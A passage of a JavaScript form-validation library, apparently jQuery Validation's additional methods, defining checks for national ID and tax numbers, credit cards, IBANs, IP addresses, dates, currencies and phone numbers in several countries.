/([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" ); // Checking value to have 11 digits only if ( value.length !== 11 ) { return false; } var sum = 0, dsc = 0, firstChar, firstCN, secondCN, i, j, v; firstChar = value.charAt( 0 ); if ( new Array( 12 ).join( firstChar ) === value ) { return false; } // Step 1 - using first Check Number: for ( i = 0, j = 9, v = 0; i < 9; ++i, --j ) { sum += +( value.charAt( i ) * j ); } firstCN = sum % 11; if ( firstCN >= 10 ) { firstCN = 0; dsc = 2; } sum = 0; for ( i = 0, j = 1, v = 0; i < 9; ++i, ++j ) { sum += +( value.charAt( i ) * j ); } secondCN = sum % 11; if ( secondCN >= 10 ) { secondCN = 0; } else { secondCN = secondCN - dsc; } return ( String( firstCN ).concat( secondCN ) === value.substr( -2 ) ); }, "Please specify a valid CNH number." ); /* * Brazillian value number (Cadastrado de Pessoas Juridica). * value numbers have 14 digits in total: 12 numbers followed by 2 check numbers that are being used for validation. */ $.validator.addMethod( "cnpjBR", function( value, element ) { "use strict"; if ( this.optional( element ) ) { return true; } // Removing no number value = value.replace( /[^\d]+/g, "" ); // Checking value to have 14 digits only if ( value.length !== 14 ) { return false; } // Elimina values invalidos conhecidos if ( value === "00000000000000" || value === "11111111111111" || value === "22222222222222" || value === "33333333333333" || value === "44444444444444" || value === "55555555555555" || value === "66666666666666" || value === "77777777777777" || value === "88888888888888" || value === "99999999999999" ) { return false; } // Valida DVs var tamanho = ( value.length - 2 ); var numeros = value.substring( 0, tamanho ); var digitos = value.substring( tamanho ); var soma = 0; var pos = tamanho - 7; for ( var i = tamanho; i >= 1; i-- ) { soma += numeros.charAt( tamanho - i ) * pos--; if ( pos < 2 ) { pos = 9; } } var resultado = soma % 11 < 2 ? 0 : 11 - soma % 11; if ( resultado !== parseInt( digitos.charAt( 0 ), 10 ) ) { return false; } tamanho = tamanho + 1; numeros = value.substring( 0, tamanho ); soma = 0; pos = tamanho - 7; for ( var il = tamanho; il >= 1; il-- ) { soma += numeros.charAt( tamanho - il ) * pos--; if ( pos < 2 ) { pos = 9; } } resultado = soma % 11 < 2 ? 0 : 11 - soma % 11; if ( resultado !== parseInt( digitos.charAt( 1 ), 10 ) ) { return false; } return true; }, "Please specify a CNPJ value number." ); /* * Brazillian CPF number (Cadastrado de Pessoas Físicas) is the equivalent of a Brazilian tax registration number. * CPF numbers have 11 digits in total: 9 numbers followed by 2 check numbers that are being used for validation. */ $.validator.addMethod( "cpfBR", function( value, element ) { "use strict"; if ( this.optional( element ) ) { return true; } // Removing special characters from value value = value.replace( /([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" ); // Checking value to have 11 digits only if ( value.length !== 11 ) { return false; } var sum = 0, firstCN, secondCN, checkResult, i; firstCN = parseInt( value.substring( 9, 10 ), 10 ); secondCN = parseInt( value.substring( 10, 11 ), 10 ); checkResult = function( sum, cn ) { var result = ( sum * 10 ) % 11; if ( ( result === 10 ) || ( result === 11 ) ) { result = 0; } return ( result === cn ); }; // Checking for dump data if ( value === "" || value === "00000000000" || value === "11111111111" || value === "22222222222" || value === "33333333333" || value === "44444444444" || value === "55555555555" || value === "66666666666" || value === "77777777777" || value === "88888888888" || value === "99999999999" ) { return false; } // Step 1 - using first Check Number: for ( i = 1; i <= 9; i++ ) { sum = sum + parseInt( value.substring( i - 1, i ), 10 ) * ( 11 - i ); } // If first Check Number (CN) is valid, move to Step 2 - using second Check Number: if ( checkResult( sum, firstCN ) ) { sum = 0; for ( i = 1; i <= 10; i++ ) { sum = sum + parseInt( value.substring( i - 1, i ), 10 ) * ( 12 - i ); } return checkResult( sum, secondCN ); } return false; }, "Please specify a valid CPF number." ); // https://jqueryvalidation.org/creditcard-method/ // based on https://en.wikipedia.org/wiki/Luhn_algorithm $.validator.addMethod( "creditcard", function( value, element ) { if ( this.optional( element ) ) { return "dependency-mismatch"; } // Accept only spaces, digits and dashes if ( /[^0-9 \-]+/.test( value ) ) { return false; } var nCheck = 0, nDigit = 0, bEven = false, n, cDigit; value = value.replace( /\D/g, "" ); // Basing min and max length on // https://dev.ean.com/general-info/valid-card-types/ if ( value.length < 13 || value.length > 19 ) { return false; } for ( n = value.length - 1; n >= 0; n-- ) { cDigit = value.charAt( n ); nDigit = parseInt( cDigit, 10 ); if ( bEven ) { if ( ( nDigit *= 2 ) > 9 ) { nDigit -= 9; } } nCheck += nDigit; bEven = !bEven; } return ( nCheck % 10 ) === 0; }, "Please enter a valid credit card number." ); /* NOTICE: Modified version of Castle.Components.Validator.CreditCardValidator * Redistributed under the Apache License 2.0 at http://www.apache.org/licenses/LICENSE-2.0 * Valid Types: mastercard, visa, amex, dinersclub, enroute, discover, jcb, unknown, all (overrides all other settings) */ $.validator.addMethod( "creditcardtypes", function( value, element, param ) { if ( /[^0-9\-]+/.test( value ) ) { return false; } value = value.replace( /\D/g, "" ); var validTypes = 0x0000; if ( param.mastercard ) { validTypes |= 0x0001; } if ( param.visa ) { validTypes |= 0x0002; } if ( param.amex ) { validTypes |= 0x0004; } if ( param.dinersclub ) { validTypes |= 0x0008; } if ( param.enroute ) { validTypes |= 0x0010; } if ( param.discover ) { validTypes |= 0x0020; } if ( param.jcb ) { validTypes |= 0x0040; } if ( param.unknown ) { validTypes |= 0x0080; } if ( param.all ) { validTypes = 0x0001 | 0x0002 | 0x0004 | 0x0008 | 0x0010 | 0x0020 | 0x0040 | 0x0080; } if ( validTypes & 0x0001 && ( /^(5[12345])/.test( value ) || /^(2[234567])/.test( value ) ) ) { // Mastercard return value.length === 16; } if ( validTypes & 0x0002 && /^(4)/.test( value ) ) { // Visa return value.length === 16; } if ( validTypes & 0x0004 && /^(3[47])/.test( value ) ) { // Amex return value.length === 15; } if ( validTypes & 0x0008 && /^(3(0[012345]|[68]))/.test( value ) ) { // Dinersclub return value.length === 14; } if ( validTypes & 0x0010 && /^(2(014|149))/.test( value ) ) { // Enroute return value.length === 15; } if ( validTypes & 0x0020 && /^(6011)/.test( value ) ) { // Discover return value.length === 16; } if ( validTypes & 0x0040 && /^(3)/.test( value ) ) { // Jcb return value.length === 16; } if ( validTypes & 0x0040 && /^(2131|1800)/.test( value ) ) { // Jcb return value.length === 15; } if ( validTypes & 0x0080 ) { // Unknown return true; } return false; }, "Please enter a valid credit card number." ); /** * Validates currencies with any given symbols by @jameslouiz * Symbols can be optional or required. Symbols required by default * * Usage examples: * currency: ["£", false] - Use false for soft currency validation * currency: ["$", false] * currency: ["RM", false] - also works with text based symbols such as "RM" - Malaysia Ringgit etc * * <input class="currencyInput" name="currencyInput"> * * Soft symbol checking * currencyInput: { * currency: ["$", false] * } * * Strict symbol checking (default) * currencyInput: { * currency: "$" * //OR * currency: ["$", true] * } * * Multiple Symbols * currencyInput: { * currency: "$,£,¢" * } */ $.validator.addMethod( "currency", function( value, element, param ) { var isParamString = typeof param === "string", symbol = isParamString ? param : param[ 0 ], soft = isParamString ? true : param[ 1 ], regex; symbol = symbol.replace( /,/g, "" ); symbol = soft ? symbol + "]" : symbol + "]?"; regex = "^[" + symbol + "([1-9]{1}[0-9]{0,2}(\\,[0-9]{3})*(\\.[0-9]{0,2})?|[1-9]{1}[0-9]{0,}(\\.[0-9]{0,2})?|0(\\.[0-9]{0,2})?|(\\.[0-9]{1,2})?)$"; regex = new RegExp( regex ); return this.optional( element ) || regex.test( value ); }, "Please specify a valid currency." ); $.validator.addMethod( "dateFA", function( value, element ) { return this.optional( element ) || /^[1-4]\d{3}\/((0?[1-6]\/((3[0-1])|([1-2][0-9])|(0?[1-9])))|((1[0-2]|(0?[7-9]))\/(30|([1-2][0-9])|(0?[1-9]))))$/.test( value ); }, $.validator.messages.date ); /** * Return true, if the value is a valid date, also making this formal check dd/mm/yyyy. * * @example $.validator.methods.date("01/01/1900") * @result true * * @example $.validator.methods.date("01/13/1990") * @result false * * @example $.validator.methods.date("01.01.1900") * @result false * * @example <input name="pippo" class="{dateITA:true}" /> * @desc Declares an optional input element whose value must be a valid date. * * @name $.validator.methods.dateITA * @type Boolean * @cat Plugins/Validate/Methods */ $.validator.addMethod( "dateITA", function( value, element ) { var check = false, re = /^\d{1,2}\/\d{1,2}\/\d{4}$/, adata, gg, mm, aaaa, xdata; if ( re.test( value ) ) { adata = value.split( "/" ); gg = parseInt( adata[ 0 ], 10 ); mm = parseInt( adata[ 1 ], 10 ); aaaa = parseInt( adata[ 2 ], 10 ); xdata = new Date( Date.UTC( aaaa, mm - 1, gg, 12, 0, 0, 0 ) ); if ( ( xdata.getUTCFullYear() === aaaa ) && ( xdata.getUTCMonth() === mm - 1 ) && ( xdata.getUTCDate() === gg ) ) { check = true; } else { check = false; } } else { check = false; } return this.optional( element ) || check; }, $.validator.messages.date ); $.validator.addMethod( "dateNL", function( value, element ) { return this.optional( element ) || /^(0?[1-9]|[12]\d|3[01])[\.\/\-](0?[1-9]|1[012])[\.\/\-]([12]\d)?(\d\d)$/.test( value ); }, $.validator.messages.date ); // Older "accept" file extension method. Old docs: http://docs.jquery.com/Plugins/Validation/Methods/accept $.validator.addMethod( "extension", function( value, element, param ) { param = typeof param === "string" ? param.replace( /,/g, "|" ) : "png|jpe?g|gif"; return this.optional( element ) || value.match( new RegExp( "\\.(" + param + ")$", "i" ) ); }, $.validator.format( "Please enter a value with a valid extension." ) ); /** * Dutch giro account numbers (not bank numbers) have max 7 digits */ $.validator.addMethod( "giroaccountNL", function( value, element ) { return this.optional( element ) || /^[0-9]{1,7}$/.test( value ); }, "Please specify a valid giro account number." ); $.validator.addMethod( "greaterThan", function( value, element, param ) { var target = $( param ); if ( this.settings.onfocusout && target.not( ".validate-greaterThan-blur" ).length ) { target.addClass( "validate-greaterThan-blur" ).on( "blur.validate-greaterThan", function() { $( element ).valid(); } ); } return value > target.val(); }, "Please enter a greater value." ); $.validator.addMethod( "greaterThanEqual", function( value, element, param ) { var target = $( param ); if ( this.settings.onfocusout && target.not( ".validate-greaterThanEqual-blur" ).length ) { target.addClass( "validate-greaterThanEqual-blur" ).on( "blur.validate-greaterThanEqual", function() { $( element ).valid(); } ); } return value >= target.val(); }, "Please enter a greater value." ); /** * IBAN is the international bank account number. * It has a country - specific format, that is checked here too * * Validation is case-insensitive. Please make sure to normalize input yourself. */ $.validator.addMethod( "iban", function( value, element ) { // Some quick simple tests to prevent needless work if ( this.optional( element ) ) { return true; } // Remove spaces and to upper case var iban = value.replace( / /g, "" ).toUpperCase(), ibancheckdigits = "", leadingZeroes = true, cRest = "", cOperator = "", countrycode, ibancheck, charAt, cChar, bbanpattern, bbancountrypatterns, ibanregexp, i, p; // Check for IBAN code length. // It contains: // country code ISO 3166-1 - two letters, // two check digits, // Basic Bank Account Number (BBAN) - up to 30 chars var minimalIBANlength = 5; if ( iban.length < minimalIBANlength ) { return false; } // Check the country code and find the country specific format countrycode = iban.substring( 0, 2 ); bbancountrypatterns = { "AL": "\\d{8}[\\dA-Z]{16}", "AD": "\\d{8}[\\dA-Z]{12}", "AT": "\\d{16}", "AZ": "[\\dA-Z]{4}\\d{20}", "BE": "\\d{12}", "BH": "[A-Z]{4}[\\dA-Z]{14}", "BA": "\\d{16}", "BR": "\\d{23}[A-Z][\\dA-Z]", "BG": "[A-Z]{4}\\d{6}[\\dA-Z]{8}", "CR": "\\d{17}", "HR": "\\d{17}", "CY": "\\d{8}[\\dA-Z]{16}", "CZ": "\\d{20}", "DK": "\\d{14}", "DO": "[A-Z]{4}\\d{20}", "EE": "\\d{16}", "FO": "\\d{14}", "FI": "\\d{14}", "FR": "\\d{10}[\\dA-Z]{11}\\d{2}", "GE": "[\\dA-Z]{2}\\d{16}", "DE": "\\d{18}", "GI": "[A-Z]{4}[\\dA-Z]{15}", "GR": "\\d{7}[\\dA-Z]{16}", "GL": "\\d{14}", "GT": "[\\dA-Z]{4}[\\dA-Z]{20}", "HU": "\\d{24}", "IS": "\\d{22}", "IE": "[\\dA-Z]{4}\\d{14}", "IL": "\\d{19}", "IT": "[A-Z]\\d{10}[\\dA-Z]{12}", "KZ": "\\d{3}[\\dA-Z]{13}", "KW": "[A-Z]{4}[\\dA-Z]{22}", "LV": "[A-Z]{4}[\\dA-Z]{13}", "LB": "\\d{4}[\\dA-Z]{20}", "LI": "\\d{5}[\\dA-Z]{12}", "LT": "\\d{16}", "LU": "\\d{3}[\\dA-Z]{13}", "MK": "\\d{3}[\\dA-Z]{10}\\d{2}", "MT": "[A-Z]{4}\\d{5}[\\dA-Z]{18}", "MR": "\\d{23}", "MU": "[A-Z]{4}\\d{19}[A-Z]{3}", "MC": "\\d{10}[\\dA-Z]{11}\\d{2}", "MD": "[\\dA-Z]{2}\\d{18}", "ME": "\\d{18}", "NL": "[A-Z]{4}\\d{10}", "NO": "\\d{11}", "PK": "[\\dA-Z]{4}\\d{16}", "PS": "[\\dA-Z]{4}\\d{21}", "PL": "\\d{24}", "PT": "\\d{21}", "RO": "[A-Z]{4}[\\dA-Z]{16}", "SM": "[A-Z]\\d{10}[\\dA-Z]{12}", "SA": "\\d{2}[\\dA-Z]{18}", "RS": "\\d{18}", "SK": "\\d{20}", "SI": "\\d{15}", "ES": "\\d{20}", "SE": "\\d{20}", "CH": "\\d{5}[\\dA-Z]{12}", "TN": "\\d{20}", "TR": "\\d{5}[\\dA-Z]{17}", "AE": "\\d{3}\\d{16}", "GB": "[A-Z]{4}\\d{14}", "VG": "[\\dA-Z]{4}\\d{16}" }; bbanpattern = bbancountrypatterns[ countrycode ]; // As new countries will start using IBAN in the // future, we only check if the countrycode is known. // This prevents false negatives, while almost all // false positives introduced by this, will be caught // by the checksum validation below anyway. // Strict checking should return FALSE for unknown // countries. if ( typeof bbanpattern !== "undefined" ) { ibanregexp = new RegExp( "^[A-Z]{2}\\d{2}" + bbanpattern + "$", "" ); if ( !( ibanregexp.test( iban ) ) ) { return false; // Invalid country specific format } } // Now check the checksum, first convert to digits ibancheck = iban.substring( 4, iban.length ) + iban.substring( 0, 4 ); for ( i = 0; i < ibancheck.length; i++ ) { charAt = ibancheck.charAt( i ); if ( charAt !== "0" ) { leadingZeroes = false; } if ( !leadingZeroes ) { ibancheckdigits += "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ".indexOf( charAt ); } } // Calculate the result of: ibancheckdigits % 97 for ( p = 0; p < ibancheckdigits.length; p++ ) { cChar = ibancheckdigits.charAt( p ); cOperator = "" + cRest + "" + cChar; cRest = cOperator % 97; } return cRest === 1; }, "Please specify a valid IBAN." ); $.validator.addMethod( "integer", function( value, element ) { return this.optional( element ) || /^-?\d+$/.test( value ); }, "A positive or negative non-decimal number please." ); $.validator.addMethod( "ipv4", function( value, element ) { return this.optional( element ) || /^(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)\.(25[0-5]|2[0-4]\d|[01]?\d\d?)$/i.test( value ); }, "Please enter a valid IP v4 address." ); $.validator.addMethod( "ipv6", function( value, element ) { return this.optional( element ) || /^((([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(([0-9A-Fa-f]{1,4}:){0,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})|(::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){1,7}:))$/i.test( value ); }, "Please enter a valid IP v6 address." ); $.validator.addMethod( "lessThan", function( value, element, param ) { var target = $( param ); if ( this.settings.onfocusout && target.not( ".validate-lessThan-blur" ).length ) { target.addClass( "validate-lessThan-blur" ).on( "blur.validate-lessThan", function() { $( element ).valid(); } ); } return value < target.val(); }, "Please enter a lesser value." ); $.validator.addMethod( "lessThanEqual", function( value, element, param ) { var target = $( param ); if ( this.settings.onfocusout && target.not( ".validate-lessThanEqual-blur" ).length ) { target.addClass( "validate-lessThanEqual-blur" ).on( "blur.validate-lessThanEqual", function() { $( element ).valid(); } ); } return value <= target.val(); }, "Please enter a lesser value." ); $.validator.addMethod( "lettersonly", function( value, element ) { return this.optional( element ) || /^[a-z]+$/i.test( value ); }, "Letters only please." ); $.validator.addMethod( "letterswithbasicpunc", function( value, element ) { return this.optional( element ) || /^[a-z\-.,()'"\s]+$/i.test( value ); }, "Letters or punctuation only please." ); // Limit the number of files in a FileList. $.validator.addMethod( "maxfiles", function( value, element, param ) { if ( this.optional( element ) ) { return true; } if ( $( element ).attr( "type" ) === "file" ) { if ( element.files && element.files.length > param ) { return false; } } return true; }, $.validator.format( "Please select no more than {0} files." ) ); // Limit the size of each individual file in a FileList. $.validator.addMethod( "maxsize", function( value, element, param ) { if ( this.optional( element ) ) { return true; } if ( $( element ).attr( "type" ) === "file" ) { if ( element.files && element.files.length ) { for ( var i = 0; i < element.files.length; i++ ) { if ( element.files[ i ].size > param ) { return false; } } } } return true; }, $.validator.format( "File size must not exceed {0} bytes each." ) ); // Limit the size of all files in a FileList. $.validator.addMethod( "maxsizetotal", function( value, element, param ) { if ( this.optional( element ) ) { return true; } if ( $( element ).attr( "type" ) === "file" ) { if ( element.files && element.files.length ) { var totalSize = 0; for ( var i = 0; i < element.files.length; i++ ) { totalSize += element.files[ i ].size; if ( totalSize > param ) { return false; } } } } return true; }, $.validator.format( "Total size of all files must not exceed {0} bytes." ) ); $.validator.addMethod( "mobileNL", function( value, element ) { return this.optional( element ) || /^((\+|00(\s|\s?\-\s?)?)31(\s|\s?\-\s?)?(\(0\)[\-\s]?)?|0)6((\s|\s?\-\s?)?[0-9]){8}$/.test( value ); }, "Please specify a valid mobile number." ); $.validator.addMethod( "mobileRU", function( phone_number, element ) { var ruPhone_number = phone_number.replace( /\(|\)|\s+|-/g, "" ); return this.optional( element ) || ruPhone_number.length > 9 && /^((\+7|7|8)+([0-9]){10})$/.test( ruPhone_number ); }, "Please specify a valid mobile number." ); /* For UK phone functions, do the following server side processing: * Compare original input with this RegEx pattern: * ^\(?(?:(?:00\)?[\s\-]?\(?|\+)(44)\)?[\s\-]?\(?(?:0\)?[\s\-]?\(?)?|0)([1-9]\d{1,4}\)?[\s\d\-]+)$ * Extract $1 and set $prefix to '+44<space>' if $1 is '44', otherwise set $prefix to '0' * Extract $2 and remove hyphens, spaces and parentheses. Phone number is combined $prefix and $2. * A number of very detailed GB telephone number RegEx patterns can also be found at: * http://www.aa-asterisk.org.uk/index.php/Regular_Expressions_for_Validating_and_Formatting_GB_Telephone_Numbers */ $.validator.addMethod( "mobileUK", function( phone_number, element ) { phone_number = phone_number.replace( /\(|\)|\s+|-/g, "" ); return this.optional( element ) || phone_number.length > 9 && phone_number.match( /^(?:(?:(?:00\s?|\+)44\s?|0)7(?:[1345789]\d{2}|624)\s?\d{3}\s?\d{3})$/ ); }, "Please specify a valid mobile number." ); $.validator.addMethod( "netmask", function( value, element ) { return this.optional( element ) || /^(254|252|248|240|224|192|128)\.0\.0\.0|255\.(254|252|248|240|224|192|128|0)\.0\.0|255\.255\.(254|252|248|240|224|192|128|0)\.0|255\.255\.255\.(254|252|248|240|224|192|128|0)/i.test( value ); }, "Please enter a valid netmask." ); /* * The NIE (Número de Identificación de Extranjero) is a Spanish tax identification number assigned by the Spanish * authorities to any foreigner. * * The NIE is the equivalent of a Spaniards Número de Identificación Fiscal (NIF) which serves as a fiscal * identification number. The CIF number (Certificado de Identificación Fiscal) is equivalent to the NIF, but applies to * companies rather than individuals. The NIE consists of an 'X' or 'Y' followed by 7 or 8 digits then another letter. */ $.validator.addMethod( "nieES", function( value, element ) { "use strict"; if ( this.optional( element ) ) { return true; } var nieRegEx = new RegExp( /^[MXYZ]{1}[0-9]{7,8}[TRWAGMYFPDXBNJZSQVHLCKET]{1}$/gi ); var validChars = "TRWAGMYFPDXBNJZSQVHLCKET", letter = value.substr( value.length - 1 ).toUpperCase(), number; value = value.toString().toUpperCase(); // Quick format test if ( value.length > 10 || value.length < 9 || !nieRegEx.test( value ) ) { return false; } // X means same number // Y means number + 10000000 // Z means number + 20000000 value = value.replace( /^[X]/, "0" ) .replace( /^[Y]/, "1" ) .replace( /^[Z]/, "2" ); number = value.length === 9 ? value.substr( 0, 8 ) : value.substr( 0, 9 ); return validChars.charAt( parseInt( number, 10 ) % 23 ) === letter; }, "Please specify a valid NIE number." ); /* * The Número de Identificación Fiscal ( NIF ) is the way tax identification used in Spain for individuals */ $.validator.addMethod( "nifES", function( value, element ) { "use strict"; if ( this.optional( element ) ) { return true; } value = value.toUpperCase(); // Basic format test if ( !value.match( "((^[A-Z]{1}[0-9]{7}[A-Z0-9]{1}$|^[T]{1}[A-Z0-9]{8}$)|^[0-9]{8}[A-Z]{1}$)" ) ) { return false; } // Test NIF if ( /^[0-9]{8}[A-Z]{1}$/.test( value ) ) { return ( "TRWAGMYFPDXBNJZSQVHLCKE".charAt( value.substring( 8, 0 ) % 23 ) === value.charAt( 8 ) ); } // Test specials NIF (starts with K, L or M) if ( /^[KLM]{1}/.test( value ) ) { return ( value[ 8 ] === "TRWAGMYFPDXBNJZSQVHLCKE".charAt( value.substring( 8, 1 ) % 23 ) ); } return false; }, "Please specify a valid NIF number." ); /* * Numer identyfikacji podatkowej ( NIP ) is the way tax identification used in Poland for companies */ $.validator.addMethod( "nipPL", function( value ) { "use strict"; value = value.replace( /[^0-9]/g, "" ); if ( value.length !== 10 ) { return false; } var arrSteps = [ 6, 5, 7, 2, 3, 4, 5, 6, 7 ]; var intSum = 0; for ( var i = 0; i < 9; i++ ) { intSum += arrSteps[ i ] * value[ i ]; } var int2 = intSum % 11; var intControlNr = ( int2 === 10 ) ? 0 : int2; return ( intControlNr === parseInt( value[ 9 ], 10 ) ); }, "Please specify a valid NIP number." ); /** * Created for project jquery-validation. * @Description Brazillian PIS or NIS number (Número de Identificação Social Pis ou Pasep) is the equivalent of a * Brazilian tax registration number NIS of PIS numbers have 11 digits in total: 10 numbers followed by 1 check numbers * that are being used for validation. * @copyright (c) 21/08/2018 13:14, Cleiton da Silva Mendonça * @author Cleiton da Silva Mendonça <cleiton.mendonca@gmail.com> * @link http://gitlab.com/csmendonca Gitlab of Cleiton da Silva Mendonça * @link http://github.com/csmendonca Github of Cleiton da Silva Mendonça */ $.validator.addMethod( "nisBR", function( value ) { var number; var cn; var sum = 0; var dv; var count; var multiplier; // Removing special characters from value value = value.replace( /([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" ); // Checking value to have 11 digits only if ( value.length !== 11 ) { return false; } //Get check number of value cn = parseInt( value.substring( 10, 11 ), 10 ); //Get number with 10 digits of the value number = parseInt( value.substring( 0, 10 ), 10 ); for ( count = 2; count < 12; count++ ) { multiplier = count; if ( count === 10 ) { multiplier = 2; } if ( count === 11 ) { multiplier = 3; } sum += ( ( number % 10 ) * multiplier ); number = parseInt( number / 10, 10 ); } dv = ( sum % 11 ); if ( dv > 1 ) { dv = ( 11 - dv ); } else { dv = 0; } if ( cn === dv ) { return true; } else { return false; } }, "Please specify a valid NIS/PIS number." ); $.validator.addMethod( "notEqualTo", function( value, element, param ) { return this.optional( element ) || !$.validator.methods.equalTo.call( this, value, element, param ); }, "Please enter a different value, values must not be the same." ); $.validator.addMethod( "nowhitespace", function( value, element ) { return this.optional( element ) || /^\S+$/i.test( value ); }, "No white space please." ); /** * Return true if the field value matches the given format RegExp * * @example $.validator.methods.pattern("AR1004",element,/^AR\d{4}$/) * @result true * * @example $.validator.methods.pattern("BR1004",element,/^AR\d{4}$/) * @result false * * @name $.validator.methods.pattern * @type Boolean * @cat Plugins/Validate/Methods */ $.validator.addMethod( "pattern", function( value, element, param ) { if ( this.optional( element ) ) { return true; } if ( typeof param === "string" ) { param = new RegExp( "^(?:" + param + ")$" ); } return param.test( value ); }, "Invalid format." ); /** * Dutch phone numbers have 10 digits (or 11 and start with +31). */ $.validator.addMethod( "phoneNL", function( value, element ) { return this.optional( element ) || /^((\+|00(\s|\s?\-\s?)?)31(\s|\s?\-\s?)?(\(0\)[\-\s]?)?|0)[1-9]((\s|\s?\-\s?)?[0-9]){8}$/.test( value ); }, "Please specify a valid phone number." ); /** * Polish telephone numbers have 9 digits. * * Mobile phone numbers starts with following digits: * 45, 50, 51, 53, 57, 60, 66, 69, 72, 73, 78, 79, 88. * * Fixed-line numbers starts with area codes: * 12, 13, 14, 15, 16, 17, 18, 22, 23, 24, 25, 29, 32, 33, * 34, 41, 42, 43, 44, 46, 48, 52, 54, 55, 56, 58, 59, 61, * 62, 63, 65, 67, 68, 71, 74, 75, 76, 77, 81, 82, 83, 84, * 85, 86, 87, 89, 91, 94, 95. * * Ministry of National Defence numbers and VoIP numbers starts with 26 and 39. * * Excludes intelligent networks (premium rate, shared cost, free phone numbers). * * Poland National Numbering Plan http://www.itu.int/oth/T02020000A8/en */ $.validator.addMethod( "phonePL", function( phone_number, element ) { phone_number = phone_number.replace( /\s+/g, "" ); var regexp = /^(?:(?:(?:\+|00)?48)|(?:\(\+?48\)))?(?:1[2-8]|2[2-69]|3[2-49]|4[1-68]|5[0-9]|6[0-35-9]|[7-8][1-9]|9[145])\d{7}$/; return this.optional( element ) || regexp.test( phone_number ); }, "Please specify a valid phone number." ); /* For UK phone functions, do the following server side processing: * Compare original input with this RegEx pattern: * ^\(?(?:(?:00\)?[\s\-]?\(?|\+)(44)\)?[\s\-]?\(?(?:0\)?[\s\-]?\(?)?|0)([1-9]\d{1,4}\)?[\s\d\-]+)$ * Extract $1 and set $prefix to '+44<space>' if $1 is '44', otherwise set $prefix to '0' * Extract $2 and remove hyphens, spaces and parentheses. Phone number is combined $prefix and $2. * A number of very detailed GB telephone number RegEx patterns can also be found at: * http://www.aa-asterisk.org.uk/index.php/Regular_Expressions_for_Validating_and_Formatting_GB_Telephone_Numbers */ // Matches UK landline + mobile, accepting only 01-3 for landline or 07 for mobile to exclude many premium numbers $.validator.addMethod( "phonesUK", function( phone_number, element ) { phone_number = phone_number.replace( /\(|\)|\s+|-/g, "" ); return this.optional( element ) || phone_number.length > 9 && phone_number.match( /^(?:(?:(?:00\s?|\+)44\s?|0)(?:1\d{8,9}|[23]\d{9}|7(?:[1345789]\d{8}|624\d{6})))$/ ); }, "Please specify a valid uk phone number." ); /* For UK phone functions, do the following server side processing: * Compare original input with this RegEx pattern: * ^\(?(?:(?:00\)?[\s\-]?\(?|\+)(44)\)?[\s\-]?\(?(?:0\)?[\s\-]?\(?)?|0)([1-9]\d{1,4}\)?[\s\d\-]+)$ * Extract $1 and set $prefix to '+44<space>' if $1 is '44', otherwise set $prefix to '0' * Extract $2 and remove hyphens, spaces and parentheses. Phone number is combined $prefix and $2. * A number of very detailed GB telephone number RegEx patterns can also be found at: * http://www.aa-asterisk.org.uk/index.php/Regular_Expressions_for_Validating_and_Formatting_GB_Telephone_Numbers */ $.validator.addMethod( "phoneUK", function( phone_number, element ) { phone_number = phone_number.replace( /\(|\)|\s+|-/g, "" ); return this.optional( element ) || phone_number.length > 9 && phone_number.match( /^(?:(?:(?:00\s?|\+)44\s?)|(?:\(?0))(?:\d{2}\)?\s?\d{4}\s?\d{4}|\d{3}\)?\s?\d{3}\s?\d{3,4}|\d{4}\)?\s?(?:\d{5}|\d{3}\s?\d{3})|\d{5}\)?\s?\d{4,5})$/ ); }, "Please specify a valid phone number." ); /** * Matches US phone number format * * where the area code may not start with 1 and the prefix may not start with 1 * allows '-' or ' ' as a separator and allows parens around area code * some people may want to put a '1' in front of their number * * 1(212)-999-2345 or * 212 999 2344 or * 212-999-0983 * * but not * 111-123-5434 * and not * 212 123 4567 */ $.validator.addMethod( "phoneUS", function( phone_number, element ) { phone_number = phone_number.replace( /\s+/g, "" ); return this.optional( element ) || phone_number.length > 9 && phone_number.match( /^(\+?1-?)?(\([2-9]([02-9]\d|1[02-9])\)|[2-9]([02-9]\d|1[02-9]))-?[2-9]\d{2}-?\d{4}$/ ); }, "Please specify a valid phone number." ); /* * Valida CEPs do brasileiros: * * Formatos aceitos: * 99999-999 * 99.999-999 * 99999999 */ $.validator.addMethod( "postalcodeBR", function( cep_value, element ) { return this.optional( element ) || /^\d{2}.\d{3}-\d{3}?$|^\d{5}-?\d{3}?$/.test( cep_value ); }, "Informe um CEP válido." ); /** * Matches a valid Canadian Postal Code * * @example jQuery.validator.methods.postalCodeCA( "H0H 0H0", element ) * @result true * * @example jQuery.validator.methods.postalCodeCA( "H0H0H0", element ) * @result false * * @name jQuery.validator.methods.postalCodeCA * @type Boolean * @cat Plugins/Validate/Methods */ 